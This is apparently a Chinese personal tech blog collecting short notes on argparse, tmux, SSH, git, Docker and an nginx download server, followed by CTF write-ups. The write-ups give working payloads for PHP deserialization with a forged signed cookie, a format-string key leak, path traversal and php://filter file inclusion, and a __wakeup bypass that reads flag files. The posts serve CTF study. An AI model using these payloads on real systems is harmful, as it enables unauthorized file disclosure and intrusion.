argparse简单讲解

简单实例

# 创建对象
import argparse
parser = argparse.ArgumentParser()
# 添加参数
parser.add_argument('-u',help="指定URL")
parser.add_argument('-n',help='指定名称')
# 获取参数
args=parser.parse_args()
#输出一下看看
print(args)
# 如果有参数不为空则退出
if not args.u or not args.n:
print('请确保参数完整,传递 u,n 两个参数')
print('详见参数 -h')
exit()

# 到这里为止应确保参数获取正常
# 下面就可以不用操心用户传递参数的问题,专心写业务逻辑了.但一定要确保参数传递无误,防止程序报错
# ....
python run.py -u www.baidu.com -n wdname

就先写到这里,现阶段也就用到这些.以后进阶了再来补吧.


开箱一个无损压缩图片程序

这两天写简历才发现简历上东西少,于是就把很久之前写的这么个小玩意拿出来水一篇项目.顺便水一篇博客,我真是个天才.哈哈

其实很早之前就有了个这么个东西,只是一直没想起来放到GitHub上来.一方面是因为懒,一方面是因为没这个意识.

最近在翻以前写的代码看看有没有什么能拿得出手的.

这个小玩意的确没太有什么技术含量,都是直接调用的Python库.

不过他小巧易用.一个单文件,放到哪就能直接压缩当前文件夹下的所有图片.最重要的是性能很高,平均大概能压缩掉40%的原占空间.对于向我这样的电脑里存了几十个G的小姐姐的人来说节省下来的空间还是很客观的😆

这个项目也就相当于把Python的一个库给exe化了而已.😂

项目地址


linux tmux 语法

linux tmux 语法

tmux 参数

  • new -s djangoBlog 创建会话

  • a -t djangoBlog进入会话

  • ls会话列表

修改配置文件

~/.tmux.conf 加入:

#设置前缀为Ctrl + a
set -g prefix C-a
#解除Ctrl+b 与前缀的对应关系
unbind C-b
#修改上下左右键和vim一样
#up
bind-key k select-pane -U
#down
bind-key j select-pane -D
#left
bind-key h select-pane -L
#right
bind-key l select-pane -R

之后进入tmux输入:source-file ~/.tmux.conf

按下操作组合键后

修改窗口

  • % 左右平分出两个窗格
  • " 上下平分出两个窗格
  • { 当前窗格前移
  • } 当前窗格后移
  • 同时按方向键调整窗口大小

操作窗口

  • 方向键切换窗口
  • t 窗口显示时间
  • $ 重命名
  • b回到bash
  • k结束会话
  • x 关闭当前窗格

openssh配置与使用

生成密匙

ssh-keygen -b 2048 -t rsa

上传密匙

ssh-copy-id IP地址

拒绝口令登录

vim /etc/ssh/sshd_config

设置PasswordAuthenticationno

重启ssh服务

systemctl restart sshd

文件传输命令

scp c:\data.json root@127.0.0.1:/home/data

git基础命令

更新当前目录内容

先进入到项目目录,然后开以下连招

git init
git add .
git commit -m "本次更新了蛤"
git push

此时如果报了如下错误

Integrate the remote changes (e.g.hint: 'git pull ...') before pushing again

那么很明显有人在你上次同步代码后提交了代码.所以我们需要先同步代码到最新的版本,然后再推送自己的代码.

git pull --rebase origin master

执行了这一句之后再进行推送git push

那么如何将本地项目关联到GitHub的已有项目上呢

git remote add origin 你的远程仓库地址

Docker常用命令

Ubuntu安装docker

curl -s https://get.docker.com/ | sh

同步docker镜像到dockerhub上

将容器变为镜像并上传到dockerhub仓库

登录

docker login

查看容器ID

docker ps

转换容器为镜像

docker commit a103d141fc98 arnoux/sql

添加标签

docker tag imageName arnoux/mysql:u1

上传镜像

docker push arnoux/mysql:u1

直接使用Dockerfile构建

构建Dockerfile文件

FROM nginx
RUN echo 'hello word(from docker nginx)' > /usr/share/nginx /html/index.html

生成镜像

docker build -t nginx:v1 .

查看镜像的REPOSITORYTAG

docker images

推送制作的镜像

标记镜像,归入自己的仓库

docker tag nginx:v1 arnoux/nginx:v1

推送镜像

docker push arnoux/nginx:v1

docker常用命令

进入一个正在运行的容器

docker exec -it msf /bin/bash

根据 Dockerfile 构建docker镜像

docker image build -t koa-demo:0.0.1 .


使用nginx搭建断点续传文件下载服务器

使用nginx搭建断点续传文件下载服务器

docker一键部署

docker container run -d --rm --name nginx -p 0.0.0.0:80:80 -v $PWD:/usr/share/nginx/html nginx

这里默认开放的是80端口,映射的是当前目录.如要修改请修改-p后的第一个80

可能会提示已经有一个重名的容器,这时使用docker ps -a查看所有的容器,然后把名叫nginx的容器都删掉就好了.删除使用docker rm eea36af1150c b280982f7283 b403828871e7 69fa3274e9a5

然后去访问自己服务器的80端口就行了.虽然看不到目录下文件列表却可以直接下载

比如我在执行docker语句时在Download目录下,其目录结构如下:

文件夹 Download 列表
Download
├─root.zip
├─Linux
│ └─shell.zip

比如我想下载root.zip就可以访问ip/root.zip

正常来说到这里就可以了.如果要下载的文件太大还是会403的.这是就需要修改配置文件里的一个参数并重启nginx

❌等什么时候有空了我做一个改好的nginx镜像传上去这样就不用麻烦了

进入容器

docker exec -ti nginx /bin/bash

安装vim

apt update
apt install vim -y

修改配置文件

vim /etc/nginx/nginx.conf
#修改第一行的user xxxx;为user root;

重启nginx

nginx -s reload

虽说这样能断点续传,但下载速度还是不理想.不过至少解决了大文件下到一半直接断开没法继续下载的窘境.如果没法断点续传的话500m以上的文件压根就不能下载.几乎肯定会断

10线程才不到2m

网上很多关于如何搭建nginx断点续传服务器的教程,全都非常繁琐乱七八糟.明明三两句话就能说清楚的非得写一大篇.最后还无法复现,浪费时间.明明不想详细了解nginx配置文件的问题的非得扯一大堆.试了好多教程没有一个能成功的.干脆自己写一篇总结.


最近打的一些ctf的writeup

2019DDCTF writeUP

WEB签到题

各位大佬是不是对签到题有什么误解….

题目链接

http://117.51.158.44/index.php

打开链接发现提示没有登陆权限,查看js源代码发现请求了一次

img

使用postman重新发送请求并将didictf_username的值添加为admin

img

提示访问app/fL2XID2i0Cdh.php

查看后发现为网页的php源代码

Session.php

<php
include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";

public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);

if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
parent::response("session_id ip_address user_agent not match",'error');
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

}
}

// $ddctf = new Session();
// $ddctf->index();

$ar=file_get_contents('temp.txt');

$ar = substr($ar,0,strlen($ar)-32);

$ar=unserialize($ar);
$na=new Application();
$na->path="..././config/flag.txt";
array_push($ar,$na);
$ar=serialize($ar);

echo $ar.md5('EzblrbNS'.$ar);

Application.php

<php

Class Application {
var $path = '';

public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
// $DIDICTF_ADMIN = 'admin';
// if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
// $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
// return TRUE;
// }else{
// $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
// exit();
// }
return TRUE;
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}

阅读源码后推测大概是利用Application类的析构函数实现读取文件.应该是反序列化

但在Session.php中有个cookie的MD5的验证

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);

之后才能反序列化

所以需要本地计算md5算好了再发过去实现通过验证

因此需要知道$this->eancrykey的值才能构造MD5实现验证

阅读Session.php发现eancrykey可以通过提交nickname字段获得

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

可以发送带有nickname=%s的POST请求

img

成功获取eancrykey的值为EzblrbNS

接下来就是创建一个带有恶意构造的反序列化字段读取flag了

在session.php创建自己的反序列化对象并输出

// $ddctf = new Session();
// $ddctf->index(); //注释掉之前的代码

$ar=file_get_contents('temp.txt'); //将服务器返回的正常cookie存放到temp.txt文件中

$ar = substr($ar,0,strlen($ar)-32); //去掉尾部的md5值

$ar=unserialize($ar); //反序列化为一个数组
$na=new Application(); //创建一个新的对象
$na->path="..././config/flag.txt"; //构建恶意读取路径
array_push($ar,$na); //添加到数组中
$ar=serialize($ar); //序列化成字符串

echo $ar.md5('EzblrbNS'.$ar); //输出序列化对象和key与序列化对象的md5

记得这里好像要先转码再放到temp.txt中不然会有编码问题

然后将带有恶意序列化对象的cookie发送过去可以看到flag

img

DDCTF Upload-IMG

比赛的最后一天,本想划划水不做题了结果舍友却做得起劲.下午去网吧打了会守望,把活动奖励领了回来后发现舍友有重大发现..

这是一道web图片上传题目

看要求应该是要上传图片shell并要求上传的图片经过二次渲染后还有phpinfo()字段

网上有个外国大神写的脚本

脚本连接

使用方法1

使用方法2

掘安CTF

夺取尼日利亚

拿到题目 这是一道web题

http://www.jasec.cn/web1

打开后发现给出了源代码如下

<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_sec_WIki' && intval($password) < 232 && intval($password + 1) > 233) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

题目接受valuepassword两个参数

第一个for循环表示value的值为数组 且每一项的值不能为32-127之间的值 否则将被销毁

如果通过if条件语句则把value的每一个值转换成字母并追加到username后面

判断username是否等于 w3lc0me_To_sec_WIki 以及 password 的值是否满足条件

我们现在来一个一个绕过这些条件

首先题目接受 value 的值为数组且后期要整合到 username 中去

所以我们虽然要传入字符 但又不能是32-127之间的值 否则会被unset掉

php在执行intval的时候会先将数字取模 256

将每一位字母的asiic值都增加256即可

name='w3lc0me_To_sec_WIki'
for i in name:
print(256+ord(i))

375
307
364
355
304
365
357
351
340
367
351
371
357
355
351
343
329
363
361

然后进行替换得到

value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=371&value[]=357&value[]=355&value[]=351&value[]=343&value[]=329&value[]=363&value[]=361

之后要绕过的就是password的值要小于232但加1要大于233

intval转换的规则

如果遇到数字则转换

如果遇到非数字则停止转换

要小于232的是直接使用intval进行转换

要大于233的是在进行加法后进行转换

于是构造

password=0x300

该值转换后的结果为

0
769

最终payload为
http://www.jasec.cn/web1/?password=0x300&value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=371&value[]=357&value[]=355&value[]=351&value[]=343&value[]=329&value[]=363&value[]=361

2019全国大学生信息安全竞赛

打开题目,在f12源代码中可以发现提示我们访问index.php?file=xxx.php以及hint.php

访问index.php?file=hint.php提示缺少参数,但看起来应该是文件包含

构造/index.php?file=../../../../../../../etc/passwd可以查看到本地文件

于是构造

/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php

可以查看源代码

查看index.phphint.php的源代码后发现

传入的file参数会被包含进index.php

除此之外还要传递一个payload参数

该参数在后面会被反序列化,结合hint.php里的两个类可以造成读取任意文件.

index.php

<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
echo 'url'.$url['query'].'<br>';
parse_str($url['query'],$query);
echo 'query'.$query.'<br>';
echo 'url query'.$url['query'].'<br>';
// print_r(serialize($query));
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
// $payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

<?php  
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

可以看到file参数和payload参数都对flag字段进行了过滤.但没有直接对payload进行过滤而是对url的值进行了过滤

于是我们在index.php前添加///阻止url正常获取值

///index.php?file=hint.php

下一步就是构造带有falg.php的序列化值

在本地的hint.php修改代码为

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = &$this->token; //直接将token_flag的值改为token的引用,这样在随机md5之后再判断依然相等
}

public function getFlag(){
// echo 'exec getFlag()';
// $this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

hint.php的代码最后添加

$f=new Flag('flag.php');

$h=new Handle($f);
$s=serialize($h).'<br>';
echo $s;

本地构造payload

O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

格式化 “ 替换成 %22 , 类名附近添加%00

O:6:%22Handle%22:1:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}

但在Handle__wakeup中所有变量被重置了,但在序列化字符串长度大于实际长度的时候会跳过weakup,所以我们将Handle的值加一

O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}

完整payload

ichunqiu.com///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

<?php 
$flag = 'flag{44623d5b-79ab-479a-bfdf-285856871e4e}';
?>